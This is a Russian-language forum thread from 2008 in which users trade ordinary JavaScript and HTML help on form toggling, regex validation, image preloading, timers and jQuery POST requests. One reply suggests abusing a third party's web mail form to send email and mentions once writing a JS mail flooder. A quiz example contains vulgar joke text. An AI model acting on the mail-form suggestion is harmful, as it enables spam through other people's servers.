Я их отлично различаю.

lsass.exe
27.02.2008, 22:16
Есть линк вида <a href=#>Показать форму</a> нужно чтобы по нажатию на него показывалась форма, которая находится ниже а когда форма отображена, нужно чтобы линк имел вид <a href=#>Скрыть форму</a>

Isis
27.02.2008, 22:22
lsass.exe,
<script type="text/javascript">
function show(id)
{
var result = '';
for (i=0; i < id.length; i++)
{
if (id[i] <= '9' && id[i] >= '0')
result += id[i];
}

x = document.getElementById(id);

if( x.style.display == undefined || x.style.display == 'block')
{
x.style.display="none";
document.getElementById('xek'+result).innerHTML = 'Показать форму';
}
else
{
x.style.display="block";
document.getElementById('xek'+result).innerHTML = 'Скрыть форму';
}
}
</script>
<a href="#" onclick="javascript:show('node1')" /><div id="xek1">Показать форму</div></a>
<div id="node1">forma</div>

lsass.exe
27.02.2008, 22:54
lsass.exe,
<script type="text/javascript">
function show(id)
{
var result = '';
for (i=0; i < id.length; i++)
{
if (id[i] <= '9' && id[i] >= '0')
result += id[i];
}

x = document.getElementById(id);

if( x.style.display == undefined || x.style.display == 'block')
{
x.style.display="none";
document.getElementById('xek'+result).innerHTML = 'Показать форму';
}
else
{
x.style.display="block";
document.getElementById('xek'+result).innerHTML = 'Скрыть форму';
}
}
</script>
<a href="#" onclick="javascript:show('node1')" /><div id="xek1">Показать форму</div></a>
<div id="node1">forma</div>
спасибо, работает.

astrologer
27.02.2008, 23:42
<script type="text/javascript">

function toggle(o, id)
{
var lang = {show:'Скрыть форму', hide:'Показать форму'};
var s = document.getElementById(id).style;

s.display = (s.display != 'block'
? (o.innerHTML = lang.show, 'block')
: (o.innerHTML = lang.hide, 'none'));
}

</script>
<a href="#" onclick="toggle(this, 'aim');return false;">Показать форму</a>
<div id="aim" style="display:none">Форма</div>


А вместо этого:
var result = '';
for (i=0; i < id.length; i++)
{
if (id[i] <= '9' && id[i] >= '0')
result += id[i];
}Лучше так:
var result = /\d+$/.exec(id);
И в атрибутах onclick никогда не нужно писать "javascript:", поскольку это псевдо-протокол.

imajo.ati
28.02.2008, 09:08
Даже если в value="1" поменять на value="текст" , потом выводиться всякая херь :%C2%FB%F1%F8%E5%E5 )))))decodeURIComponent(text);
text - название переменной с твоим текстом



подскажите, почему следующее не работает в IE 6

<SCRIPT>
function act() {
document.all['TR1'].innerHTML = 'my text' + document.all['TR1'].innerHTML;
}
</SCRIPT>
<INPUT TYPE="BUTTON" ONCLICK="act()" VALUE="кнопка">
<TABLE><TR ID="TR1"><TD>1</TD></TR></TABLE>

в опере и лисе работает

astrologer
28.02.2008, 10:59
imajo.ati, не стоит использовать document.all
Лучше использовать document.getElementById()

Почему бы не сделать так:
<script type="text/javascript">
function act()
{
document.getElementById('aim').innerHTML = 'my text';
}
</script>

<input type="button" onclick="act()" value="кнопка">
<table>
<tr id="TR1">
<span id="aim"></span>
<td>1</td>
</tr>
</table>

imajo.ati
28.02.2008, 11:12
astrologer,

к сожалению это так же не работает в IE6

тем более нарушается структура таблицы, что мне не подходит. видимо тег <TR> не поддерживает innerHTML в эксплорере, придется думать над альтернативой.
а document.all и getElementById работает одинаково в современных браузерах, только document.all чуть быстрее

но всё равно спасибо


хм.. кстати странно что и это не работает в ие.. м.б. у меня одного так?

вот это к примеру работает в IE
<SCRIPT>
function act() {
document.all['TR'].innerHTML = 'my text' + document.all['TR'].innerHTML;
}
</SCRIPT>
<INPUT TYPE="BUTTON" ONCLICK="act()" VALUE="кнопка">
<DIV ID="TR">12<DIV>
а предыдущее не хочет

bul.666
28.02.2008, 12:04
Подучите HTML

<SCRIPT>
function act() {
document.all['bulko_p4elko'].innerHTML = 'my text' + document.all['bulko_p4elko'].innerHTML;
}
</SCRIPT>
<INPUT TYPE="BUTTON" ONCLICK="act()" VALUE="кнопка">
<table border="1">
<tr>
<td id="bulko_p4elko">Text budet tut: </td>
</tr>
</table>

imajo.ati
28.02.2008, 15:37
bul.666, мне нужно именно в TR записывать, т.к. вместо 'my text' будет конструкция <TD><IMG ... ></TD>

моя вина - забыл указать это вначале.

astrologer
28.02.2008, 16:39
bul.666, да, ты прав. А я тут, как нуп, какие-то спаны леплю.

imajo.ati, в <tr> нельзя ничего записывать.
Такая таблица уже не будет проходить валидацию:

<table>
<tr>
out-cell text
<td>123</td>
</tr>
</table>
Но вот это:вместо 'my text' будет конструкция <TD><IMG ... ></TD>В корне меняет дело.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">

<script type="text/javascript">

function add()
{
var tr = document.getElementById('tr1'),
td = document.getElementById('td1'),

node = document.createElement('td'),
img = document.createElement('img');

img.src = 'http://forum.antichat.ru/antichat/pic/logo.gif';

tr.insertBefore(node, td);
node.appendChild(img);
}

</script>

</head>
<body>
<table>
<tr id="tr1">
<td id="td1">text</td>
</tr>
</table>
<input type="button" onclick="add()" value="add">
</body>
</html>

imajo.ati
28.02.2008, 17:00
не знал об этом способе. ты решил мою проблему, большое спасибо =)

Дикс
29.02.2008, 12:01
почему я не могу передать указатель на элемент при событии OnBlur?

function myFunc(element){
alert(element);
}
<input type="text" onBlur="myFunc(this)">

astrologer
29.02.2008, 18:33
почему я не могу передать указатель на элемент при событии OnBlur?

function myFunc(element){
alert(element);
}
<input type="text" onBlur="myFunc(this)">
<script>

function myFunc(element)
{
alert(element);
}

</script>

<input type="text" onBlur="myFunc(this)">
Всё работает.

Дикс
03.03.2008, 09:24
вопрос по этому коду:

var iChars = "!@#$%^&*()+=-[]\\\';,./{}|\":<>?";

for (var i = 0; i < document.formname.fieldname.value.length; i++) {
if (iChars.indexOf(document.formname.fieldname.value. charAt(i)) != -1) {
alert ("Your username has special characters. \nThese are not allowed.\n Please remove them and try again.");
return false;
}
}

можно ли исключить оттуда символы вообще все символы кроме латиницы и цифр?
я подозреваю, что для этого надо юзать регулярные выражения, но никогда их не использовал в js.
может кто-нить показать хотя бы пример? а регулярку я сам напишу.

bul.666
03.03.2008, 09:28
<script>
var iChars = "!@#$%^&*()+=-[]\\\';,./{}|\":<>?";

if (/\W/.test(iChars)) {
alert ("Your username has special characters. \nThese are not allowed.\n Please remove them and try again.");
}
</script>


Вот код кот. заменит:


<script>
var iChars = "b(@)u*@{lko'\-_p!c@h#$%e^&l*()k+=-[o]\\\';,./{}|\":<>?";

if (/\W/.test(iChars)) {
document.write(iChars.replace(/\W/g,''));
}
</script>
</script>

zythar
03.03.2008, 09:34
http://www.pcre.ru/docs/javascript/text/intro1/


Регулярные выражения представляют собой образцы для поиска заданных комбинаций символов в текстовых строках (такой поиск называется сопоставлением с образцом). Существует два способа присваивания переменным регулярных выражений, а именно:

* Использование инициализатора объекта: var re = /pattern/switch?.
* Использование конструктора RegExp: var re = new RegExp("pattern"[,"switch"]?).
Здесь pattern - регулярное выражение, а switch - необязательные опции поиска.



http://javascript.ru/code/basic/regular-expression

RegExp

Объект типа RegExp, или, короче, регулярное выражение, можно создать двумя путями

1. /pattern/флаги
2. new RegExp("pattern"[, флаги])

Дикс
03.03.2008, 10:06
2 Bul.666

эмм, чет вроде не то.
у меня задача - проверить введённый пользователем логин, и если там есть что-нить кроме латинских букв и цифр - выдать алерт.
а у тебя replace.

Что такое /\W/ ?

krypt3r
03.03.2008, 10:30
можно ли исключить оттуда символы вообще все символы кроме латиницы и цифр?

Дикс, чем код була не нравится? Как раз то, что нужно - вырезает все символы которые не являются латинскими символами и цифрами (и подчеркиванием)

\W
Соответствует любому символу, кроме латинской буквы, цифры или подчеркивания. Эквивалентно /[^A-Za-z0-9_] /.

Дикс
03.03.2008, 10:41
т.е. мне сначала вырезать, а затем сравнить с исходной строкой?
попробую, но нельзя разве просто поискать в строке эти символы?

Дикс
03.03.2008, 10:47
блин, как об стену горох!

убей, не пойму, как это использовать:


var iChars = "b(@)u*@{lko'\-_p!c@h#$%e^&l*()k+=-[o]\\\';,./{}|\":<>?";

if (/\W/.test(iChars)) {
document.write(iChars.replace(/\W/g,''));
}

вот есть у меня login.value - к примеру строка "login123вася"
мне надо посмотреть - если в строке есть всякая шняга типа "вася", то васю паслать на***

Как мне применить регулярку к строке и получить вменяемый результат (желательно булевый)?

Теории куча, практики 0

krypt3r
03.03.2008, 10:49
<script>
var iChars = document.form1.login.value;
if (/\W/.test(iChars)) { // если в логине найдены запрещенные символы
alert ("Your username has special characters. \nThese are not allowed.\n Please remove them and try again."); // Вася, пшелнах
}
</script>

bul.666
03.03.2008, 10:55
2krypt3r && Дикс
Читайте мой пост там написано, когда при наличие Алерт (Первый код) и когда вырезать (Второй)

SSB1981
10.03.2008, 17:32
Здравствуйте!
Как с помощью Ajax передать несколько переменных методом Post ?

SSB1981
10.03.2008, 17:42
Решение найдено! нужно отделить имена переменных знаком & как в get!
Пример: req.send('PhoneNumber=1234567890&PinCode=1111');

Ilia_dozor
11.03.2008, 18:58
есть срипт

<script type="text/javascript"><!--
google_ad_client = "pub-1807949619450888";
google_ad_width = 728;
google_ad_height = 90;
google_ad_format = "728x90_as";
google_ad_type = "text";
//2007-05-08: forex
google_ad_channel = "6173259623";
google_color_border = "FFFFFF";
google_color_bg = "FFFFFF";
google_color_link = "0000FF";
google_color_text = "000000";
google_color_url = "008000";
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>

есть запрос

GET /pagead/ads?client=ca-pub-1807949619450888&dt=1204978457924&lmt=1204978457&output=html&slotname=0788057509&correlator=1204978457901&url=http%3A%2F%2Fwww.***.com%2F&frm=0&cc=421&ga_vid=678337545.1204978458&ga_sid=1204978458&ga_hid=1991982995&flash=9.0.115.0&u_h=1024&u_w=1280&u_ah=996&u_aw=1280&u_cd=32&u_tz=60&u_java=true HTTP/1.1

никак не пойму,за что отвечают переменные u_cd & cc

заранее спасибо

astrologer
11.03.2008, 20:52
u_cd - скорее всего, это window.screen.pixelDepth
cc формируется так:

Math.round(document.body.clientHeight * 100 / document.body.scrollHeight)

SSB1981
14.03.2008, 17:49
Здравствуйте!
У меня следующая проблема:
На сайте, используя события onmouseover и onmouseout,
меняю картинки.
Так вот, как сделать чтобы обе картинки грузились сразу, а не только когда срабатывает событие. Картинки меняю с помощью атрибута SRC.
Спасибо!

Piflit
14.03.2008, 18:51
ssb1981 загрузи картинку в айфрейм. хотя по-моему, это изврат =)

ZET36
14.03.2008, 18:56
SSB1981 что то непонял вопроса , ты хочеш что бы наводя мышкой на одну картинку менялись 2?

тогда так

<form name=dd>
<img src=1.gif name=z onmouseover=red()>
<img src=1.gif name=f>
</form>
<script>

function red()
{
document.dd.z.src=2.gif;
document.dd.f.src=2.gif;
}
</script>

SSB1981
14.03.2008, 19:04
Нет у меня одна картинка! но при наведение меняется на другую!
Если вторая довольно большая килобайт 50-100 то она тока начинает загружаться
Как сделать чтобы она загружалась сразу при загрузке страницы

VDShark
14.03.2008, 19:21
Для каждого такого изображения создается объект типа Image, а потом свойству src присваивается имя нужного файла.

var fimg = new Image();
fimg.src = "image.gif";

SSB1981
15.03.2008, 22:19
Здравствуйте!
Как приостановить выполнение скрипта на несколько секунд?
Аналог sleep() в PHP.
Спасибо!

astrologer
15.03.2008, 23:46
Здравствуйте!
Как приостановить выполнение скрипта на несколько секунд?
Аналог sleep() в PHP.
Спасибо!Нет такого в JS. В принципе, можно искусственно создать такое поведение, но в нормальной ситуации это не нужно. Есть две функции: setTimeout() и setInterval();
Первый параметр для которых - функция, которую нажно запустить, а второй - время до исполнения.
Пример:
<style type="text/css">

div
{
position: absolute;
border: #123 solid 1px;
background: #369;
width: 40px;
height: 30px;
}

</style>

<script type="text/javascript">

function init()
{
var t = document.getElementById('timeout');
var i = document.getElementById('interval');

function timeoutMove()
{
t.style.left = parseInt(t.style.left) + 1 + 'px';
setTimeout(timeoutMove, 30);
};
setTimeout(timeoutMove, 30);

function intervalMove()
{
i.style.left = parseInt(i.style.left) + 1 + 'px';
};
setInterval(intervalMove, 30);

}

document.onclick = function()
{
init();
}

</script>


<div id="timeout" style="left:10px;top:50px;"></div>
<div id="interval" style="left:10px;top:100px;"></div>
<pre>Щёлкните в любом месте</pre>

ZET36
16.03.2008, 08:04
Нет у меня одна картинка! но при наведение меняется на другую!
Если вторая довольно большая килобайт 50-100 то она тока начинает загружаться
Как сделать чтобы она загружалась сразу при загрузке страницы

хых ну первый способ сжать её размер в фотошопе ))

а второй поставить что бы она сразу загружалась но не была видна, поставь в начале кода сайта

<img src='адрес картинки' width='0' height='0'>
тогда она будет сразу загруженная и небудет видно как она будет грузиться

SSB1981
16.03.2008, 12:43
Всем спасибо!

VDShark
16.03.2008, 13:25
хых ну первый способ сжать её размер в фотошопе ))

а второй поставить что бы она сразу загружалась но не была видна, поставь в начале кода сайта

<img src='адрес картинки' width='0' height='0'>
тогда она будет сразу загруженная и небудет видно как она будет грузиться

Гемморой... тот же эффект достигается тем способом, что я написал выше =\

smOleg
16.03.2008, 23:03
а как сделать чтоб после нажатия на ссылку (которая в виде кнопки) на нее полностю менялся стиль CSS

ну типа
a:active{
}

только стиль действует пока кнопка мышип нажата :(

наверно средствами только HTML/CSS это не сделать

NOmeR1
16.03.2008, 23:15
Ты имеешь ввидуa:visited {
}?

smOleg
16.03.2008, 23:17
нет. тогда эта кнопка останется с измененным стилем если юзер кликнет на другую.. нада шоб она назад вернулась)

вот чтото нашел насчет Dhtml

NOmeR1
16.03.2008, 23:22
Ну тада
<style>
a.aaa:visited {
color:green;
}
</style>
<a href="http://antichat.ru/" class="aaa">asd1</a>
<a href="http://antichat.ru/">asd2</a>
Или тебе вообще что-то другое надо?

smOleg
16.03.2008, 23:46
http://img223.imageshack.us/img223/4130/d123as7.gif
вот кнопочки..
нажав, например, на PASSWORD ей меняется класс на
class="activated"
а на GENERAL , у которой до этого был class="activated", ставится
class="normal"
ЗЫ чтото у меня струдом получается объяснить чего я хочу)
можна вот так
<a href='#' onclick="this.className='activated'">#</a>
но как тогда убрать activated если нажат другая ссылка :confused:
хм а отак
<a href='#' onclick="document.all.tags('a').className='normal' ;this.className='activated'">#</a>
тогда оно сначала все сбросит а потом только эту активирует. Только почемуто фаербаг выдает
document.all has no properties

astrologer
17.03.2008, 01:11
Потому, что document.all - это плохо. :)
А "document.all.tags('a')" - это, по идее, массив, и при присвоение ему свойства className не должно автоматически распространяться на каждый его элемент.

Можно просто в цикле перебрать все кнопки и поставить класс "normal", а потом назначить нужной "activated"

т.к. меню, очевидно, уже JS-зависимое, то будет проще создавать его динамически и хранить в массиве ссылки на все элементы-кнопки

aLeKs2006
17.03.2008, 11:46
Ситуация такая. Я делаю онлайн-тест, и надо сделать так, чтобы за правильный ответ начислялись баллы, за неправильный нет, в конце все суммировалось и высылалось нам на мыло+ показывалось количество баллов тому, кто проходит тест. Помогите кто чем сможет)) Нет ни у кого такого скриптика на яве? именно на яве

astrologer
17.03.2008, 15:17
Ситуация такая. Я делаю онлайн-тест, и надо сделать так, чтобы за правильный ответ начислялись баллы, за неправильный нет, в конце все суммировалось и высылалось нам на мыло+ показывалось количество баллов тому, кто проходит тест. Помогите кто чем сможет)) Нет ни у кого такого скриптика на яве? именно на явеИменно на Java нет. На JS - написать можно за 5 минут, только вот отправлять на мыло он не умеет.

ZET36
17.03.2008, 21:19
только вот отправлять на мыло он не умеет.

хых можно запрос отправить на какуюнибуть чужу форму для отправки мыла)) я помню давно так мыльный флудер на js писал))


а скрипт опроса можна написать так
(баллы начисляются в куки, правильный ответ 2, при нескольких опросах придётся писать ещё накопитель для переменной баллов)
<script>

variant=0;

function zet()
{

if (variant==('2')) {
document.cookie=('balli=1');}

else{
document.cookie=('balli=0');}

alert(document.cookie);

}
</script>



Ситуация в Туалете Кафешки очнь хочется пи-пи а в мужской туалет

очереь тянется ещё за 2 квартала а ближайший сартир в 10 кварталах
<br>


<form name=opros>
1<INPUT TYPE="radio" NAME="opros" VALUE="1" onclick="variant=1">
Конечно же дождусь очереди а если неполучится то небеда ведь мама

всегда надевает мне погузники , правдо вытереть попку будет некому
<br>

2<INPUT TYPE="radio" NAME="opros" VALUE="2" onclick="variant=2">
Бля да делов то выйду и нассу за углом
<br>

3<INPUT TYPE="radio" NAME="opros" VALUE="3" onclick="variant=3">
Попытаюсь дождаться а если неполучится незаметно нассу в стакан с

пивом . но вот как поступать в ситуации если подойдёт офицантка и

попросит допить своё пиво так как кафэ закрывается я ещё непридумал
<br>

4<INPUT TYPE="radio" NAME="opros" VALUE="4" onclick="variant=4">
Да мне по*** зайду в соседнюю дверь женского сратира и облегчусь там

а если бабы спросят " чо за ***ня?" скажу "Улыбнитесь вон туда

(показав на свой ***) ВАС СНИМАЕТ СКРЫТАЯ КАМЕРА!!
<br>


5<INPUT TYPE="radio" NAME="opros" VALUE="5" onclick="variant=5">
Демонстративно нассу под стол кафешки а потом сяду и насру под

дверью этого сартира по тому что эти пидарасы админы кафэшки не учли

такой поворот то что может быть быть такая ***ня с очередью в сартир

,будет им уроком ,пусть им будет стыдно за это
<br>

6<INPUT TYPE="radio" NAME="opros" VALUE="6" onclick="variant=6">
Дождусь очереди (если обоссусь не беда вытру полотенцем делов то)

надену свои трусы себе на голову, притворясь террористом потом

запрусь один в сратире невпуская никого заминируя вход в сратир кучей

своего дерьма и буду вести перегаворы по освобождению туалета только

с Памелой Андерсон.
Мои требования:
1. 40 марок ЛСД, 25 порций мороженного , 3 Индийских лягушки , 3

негра, кельтский крест, белый халат с острым копюшоном, канистра

бензина и спички (для нескучного времяпровождения во время

переговоров)
2. 200 картинок обнажонного "Михоила боярского" бутылка водки и крем

для рук (для продолжения банкета)
3. 300 тонн эксриментов цирковых собачек (хочу преподнести подарок

пожилой соседке которая с 12 ночи до 5 утра крутит на всю громкость

Советские марши)
4. 24 Ездовых обезьянок в кавбойских костюмах и карета из тыквы как у

золушки (что бы я мог быстро и незамеченно скрыться через форточку с

места преступления)
5. 1 говорящий попугай матершиннк (оставлю его в сратире и пусть он

дальше ведёт перегаворы что бы когда я удирал через форточку менты

думали что я ещё держу сартир заминированным)

</form>

<input type=button name=ya value=Ответить Onclick=zet()>



к стати свойство value у обьекта radio почемуто непашет(( я добавил ещё одну переменную что бы это решить

smOleg
18.03.2008, 00:09
Можно просто в цикле перебрать все кнопки и поставить класс "normal", а потом назначить нужной "activated"

т.к. меню, очевидно, уже JS-зависимое, то будет проще создавать его динамически и хранить в массиве ссылки на все элементы-кнопки

А как это сделать не подскажите? :confused: Я в JS не силен покачто

ZET36
18.03.2008, 03:00
smOleg хых я так и не понял что ты хочеш сделать но скрипт меняющий значения каждого свойства елемента в формме церез цикл написал))


<form name=zz>

<input type=text value='ff'>
<input type=text value='ff'>
<input type=text value='ff'>
<input type=text value='ff'>

</form>

<script>
for (i=0; i<document.zz.elements.length;i++)
{
document.zz.elements[i].value='dd';
}
</script>

smOleg
18.03.2008, 03:30
такое я и сам могу. на каждом столбе примеры написаны

вот как добратся к тегу <a> чтоб не по ID

Isis
18.03.2008, 03:37
window.event.srcElement.tagName == 'A'

astrologer
18.03.2008, 11:02
<html>
<head>
<style type="text/css">

#menu div
{
float: left;
margin-left: 3px;
width: 40px;
height: 30px;
}

.normal
{
border: #132 solid 1px;
background: #396;
}

.active
{
background: #264;
border: #000 solid 1px;
}


</style>

<script type="text/javascript">

function act(e)
{
var aim = e.target || e.srcElement,
blocks = document.getElementById( 'menu' ).getElementsByTagName('div'),
l = blocks.length;

while(l--) blocks[l].className = 'normal';
if(aim.nodeName == 'DIV' && aim.parentNode.id == 'menu') aim.className = 'active';
}

</script>

</head>
<body onclick="act(event)">

<div id="menu">
<div class="normal"></div>
<div class="normal"></div>
<div class="normal"></div>
<div class="normal"></div>
<div class="normal"></div>
</div>

</body>
</html>

smOleg
18.03.2008, 17:23
о. именно то что хотел. всем спс

skzi
19.03.2008, 16:37
<script src="jquery.js"></script>
<script>
function sendData(obj) {
var post = {p: obj.value, id: obj.id};
$.post('backend.php', post, function(data){$('#debug').html(data);}) }
</script>

использую библиотеку jquery

этот код работает на всех браузерах, кроме Ие =(

подскажите пожалуйста в чем ошибка.

ie6

life_is_shit
19.03.2008, 16:52
посмотри на наличие багов в хтмл (типа незакрытых форм и т.д.), бывает из-за этого.

astrologer
19.03.2008, 17:03
<script src="jquery.js"></script>
<script>
function sendData(obj) {
var post = {p: obj.value, id: obj.id};
$.post('backend.php', post, function(data){$('#debug').html(data);}) }
</script>

использую библиотеку jquery

этот код работает на всех браузерах, кроме Ие =(

подскажите пожалуйста в чем ошибка.

ie6Было бы неплохо привести немного больше кода, чтобы было видно, где и как функция запускается на выполнение. А данный код отработал точно как положено, в том смысле, что загрузился jquery.js, определилась функция sendData...

skzi
19.03.2008, 17:14
<script>
function loock(e,f) {
for (i=0; i<f.length; i++) {
if (f[i].name != e.name && f[i].name.indexOf(e.name) != -1) {
if (e.checked) f[i].disabled = false;
else f[i].disabled = true;
}
}
}
</script>
<script src="jquery.js"></script>
<script>
function sendData(obj) {
var post = {p: obj.value, id: obj.id};
$.post('backend.php', post, function(data){$('#debug').html(data);})
}
</script>
<script>
function sendDatachbx(val, id) {
var post = {p: val, id: id};
$.post('backend.php', post, function(data){$('#debug').html(data);})
}
</script>

<form method="post" enctype="multipart/form-data">

1. Вид изделия:
<select id="izd" onchange="sendData(this)">
<option value="null">Выберите вид изделия</option>
<option value="list">Листовка</option>
<option value="jour" >Журнал/Брошюра/Многостраничный буклет</option>
<option value="kalen" >Календарь</option>
</select><br><br>
2. Вид бумаги:<select id="bumaga" onchange="sendData(this)">
<option value="melovka">Меловка</option>
<option value="glanec">Глянец</option>
</select><br><br>
2. Ширина: <input type="text" id="shir" onchange="sendData(this)"><br><br>
3. Высота: <input type="text" id="vis" onchange="sendData(this)"><br><br>
4. Тираж: <input type="text" id="tir" onchange="sendData(this)"><br><br>
5. Плотность бумаги: <select id="plot" onchange="sendData(this)">
<option value="65">65</option>
<option value="75">75</option>
<option value="80">80</option>
<option value="115">115</option>
<option value="120">120</option>
<option value="130">130</option>
<option value="150">150</option>
<option value="170">170</option>
<option value="200">200</option>
<option value="250">250</option>
<option value="300">300</option>
</select><br><br>
6. Красочность: <select id="kras" onchange="sendData(this)">
<option value="1+0">1+0</option>
<option value="1+1">1+1</option>
<option value="2+0">2+0</option>
<option value="2+1">2+1</option>
<option value="2+2">2+2</option>
<option value="3+0">3+0</option>
<option value="3+1">3+1</option>
<option value="3+2">3+2</option>
<option value="3+3">3+3</option>
<option value="4+0">4+0</option>
<option value="4+1">4+1</option>
<option value="4+2">4+2</option>
<option value="4+3">4+3</option>
<option value="4+4" selected>4+4</option>
</select><br><br>
7. Фальцовка/Биговка<br><br>
<input type="checkbox" name="one" value="" onclick="loock(this, this.form)">Оформление (Постпечать) <br>
&nbsp;&nbsp;<input type="Checkbox" name="one1" value="perf" disabled id="idperf" onclick="sendDatachbx(this.checked, this.id)">Перфорация<br>
&nbsp;&nbsp;<input type="checkbox" name="one2" value="lak" disabled id="idlak" onclick="sendDatachbx(this.checked, this.id)">ВД/офсетный лак<br>
&nbsp;&nbsp; <select id="izd" onclick="loock(this, this.form)" name="one3" disabled onchange="sendData(this)">
<option value="glanc">Гланцевая</option>
<option value="mat">Матовая</option>
</select>Ламинация <br>
&nbsp;&nbsp; <select id="izd" onclick="loock(this, this.form)" name="one4" disabled onchange="sendData(this)">
<option value="splosh">Сплошной</option>
<option value="vibor">Выборочный</option>
</select>УФ-лак<br>
</form>

<div id="debug">сюда приходит результат =]</div>

вот весь html код, а вот backend.php
<?
print iconv("WINDOWS-1251", "UTF-8", "Приняты данные: ");
print $_POST['p'];
print iconv("WINDOWS-1251", "UTF-8", "<br>ID принятого элемента: ");
print $_POST['id'];
?>

Ребят помогите пожалуйста, скоро проект сдавать, а я даже половины не сделал =\

astrologer
19.03.2008, 18:15
Код нормально работает в 4 браузерах, в том числе ie6. Повторить ошибку не удалось.

skzi
19.03.2008, 18:45
странно.. а ты где проверял?

skzi
19.03.2008, 18:54
у меня на денвере тоже все нормально
но на сервере (на работе) не пашет скотина. причем только через ие не пашет

astrologer
19.03.2008, 19:08
P.S. id должны всегда быть уникальными

skzi
19.03.2008, 19:40
в смысле? У меня же нет повторяющихся ИД

skzi
19.03.2008, 19:42
вообщето нашел пару одинаковых. изменил. результата 0.

=[

может на сервере что т не так? Хотя что там может быть не так... jquery посылает обычные пост и гет запросы... так что ничего сложного... ёбаный осел

smOleg
20.03.2008, 01:00
<script type="text/javascript">
function act(e)
{
var aim = e.target,
blocks = document.getElementById('buttons').getElementsByTa gName('LI'),
l = blocks.length,
blocks2 = document.getElementById('buttons').getElementsByTa gName('A'),
l2 = blocks2.length;
while(l--) blocks[l].className = 'normal';
while(l2--) blocks2[l2].className = 'normal';
document.getElementById ( aim.parentNode.id ).className = 'active';
aim.className = 'active';
}
</script>
<div id="nav" onclick="act(event)">
<ul id="buttons">
<li class="active" id="GENERAL"><a class="active" href='#1#' >GENERAL</a></li>
<li class="normal" id="PREFERENCES"><a class="normal" href='#2#' >PREFERENCES</a></li>
<li class="normal" id="PASSWORD"><a class="normal" href='#3#'>PASSWORD</a></li>
<li class="normal" id="NEWSLETTERS"><a class="normal" href='#4#'>NEWSLETTERS</a></li>
<li class="normal" id="ADMIN"><a class="normal" href='#5#'>ADMIN</a></li>
</ul>
</div>

В ИЕ чото неработает. или подскажите как организовать дебаг) чтоб узнать меняет ли оно класы.. тогда нужно смотреть в стилях.

Ну то что сбрасует все на class="normal" эт точно.. похоже неработает только последние две строчки

astrologer
20.03.2008, 01:44
=)document.getElementById ( aim.parentNode.id ).className = 'active';Зачем так? aim.parentNode - уже готовая ссылка на нужный элемент, поэтому:
aim.parentNode.className = 'active';
И там не просто так был event.srcElement, не нужно было его выкидывать. В IE свойство event.target не определено
var aim = e.target || e.srcElement,

skzi
20.03.2008, 11:07
Помогите мне пожалуйста

на денвере у меня тоже все норм работает, но на работе на сервере не хочет =\

в чем может быть проблема?

aLeKs2006
20.03.2008, 12:25
хых можно запрос отправить на какуюнибуть чужу форму для отправки мыла)) я помню давно так мыльный флудер на js писал))


а скрипт опроса можна написать так
(баллы начисляются в куки, правильный ответ 2, при нескольких опросах придётся писать ещё накопитель для переменной баллов)
<script>

variant=0;

function zet()
{

if (variant==('2')) {
document.cookie=('balli=1');}

else{
document.cookie=('balli=0');}

alert(document.cookie);

}
</script>



Ситуация в Туалете Кафешки очнь хочется пи-пи а в мужской туалет

очереь тянется ещё за 2 квартала а ближайший сартир в 10 кварталах
<br>


<form name=opros>
1<INPUT TYPE="radio" NAME="opros" VALUE="1" onclick="variant=1">
Конечно же дождусь очереди а если неполучится то небеда ведь мама

всегда надевает мне погузники , правдо вытереть попку будет некому
<br>

2<INPUT TYPE="radio" NAME="opros" VALUE="2" onclick="variant=2">
Бля да делов то выйду и нассу за углом
<br>

3<INPUT TYPE="radio" NAME="opros" VALUE="3" onclick="variant=3">
Попытаюсь дождаться а если неполучится незаметно нассу в стакан с

пивом . но вот как поступать в ситуации если подойдёт офицантка и

попросит допить своё пиво так как кафэ закрывается я ещё непридумал
<br>

4<INPUT TYPE="radio" NAME="opros" VALUE="4" onclick="variant=4">
Да мне по*** зайду в соседнюю дверь женского сратира и облегчусь там

а если бабы спросят " чо за ***ня?" скажу "Улыбнитесь вон туда

(показав на свой ***) ВАС СНИМАЕТ СКРЫТАЯ КАМЕРА!!
<br>


5<INPUT TYPE="radio" NAME="opros" VALUE="5" onclick="variant=5">
Демонстративно нассу под стол кафешки а потом сяду и насру под

дверью этого сартира по тому что эти пидарасы админы кафэшки не учли

такой поворот то что может быть быть такая ***ня с очередью в сартир

,будет им уроком ,пусть им будет стыдно за это
<br>

6<INPUT TYPE="radio" NAME="opros" VALUE="6" onclick="variant=6">
Дождусь очереди (если обоссусь не беда вытру полотенцем делов то)

надену свои трусы себе на голову, притворясь террористом потом

запрусь один в сратире невпуская никого заминируя вход в сратир кучей

своего дерьма и буду вести перегаворы по освобождению туалета только

с Памелой Андерсон.
Мои требования:
1. 40 марок ЛСД, 25 порций мороженного , 3 Индийских лягушки , 3

негра, кельтский крест, белый халат с острым копюшоном, канистра

бензина и спички (для нескучного времяпровождения во время

переговоров)
2. 200 картинок обнажонного "Михоила боярского" бутылка водки и крем

для рук (для продолжения банкета)
3. 300 тонн эксриментов цирковых собачек (хочу преподнести подарок

пожилой соседке которая с 12 ночи до 5 утра крутит на всю громкость

Советские марши)
4. 24 Ездовых обезьянок в кавбойских костюмах и карета из тыквы как у

золушки (что бы я мог быстро и незамеченно скрыться через форточку с

места преступления)
5. 1 говорящий попугай матершиннк (оставлю его в сратире и пусть он

дальше ведёт перегаворы что бы когда я удирал через форточку менты

думали что я ещё держу сартир заминированным)

</form>

<input type=button name=ya value=Ответить Onclick=zet()>



к стати свойство value у обьекта radio почемуто непашет(( я добавил ещё одну переменную что бы это решить

большое спасибо)
Еще пара вопросов:
Как сделать так, чтобы было несколько вариантов правильных ответов? в плане начисления баллов. И как сделать, чтобы в конце всего теста все ответы суммировались и высылались куда-нибудь?))

astrologer
20.03.2008, 16:04
Помогите мне пожалуйста

на денвере у меня тоже все норм работает, но на работе на сервере не хочет =\

в чем может быть проблема?Если другие условия не изменяются - то, очевидно, надо искать проблему в сервере. Но каков же текст ошибки?

большое спасибо)
Еще пара вопросов:
Как сделать так, чтобы было несколько вариантов правильных ответов? в плане начисления баллов. И как сделать, чтобы в конце всего теста все ответы суммировались и высылались куда-нибудь?))aLeKs2006, со всем уважением, однако это выражается просьбой: "Напишите за меня, пожалуйста."

skzi
20.03.2008, 18:31
2 astrologer:
Проблема скорее всего на сервере, ибо скрипт проверялся в интернете и все норм работало.

2 all:

function adda(){
var sel = $("#izd");
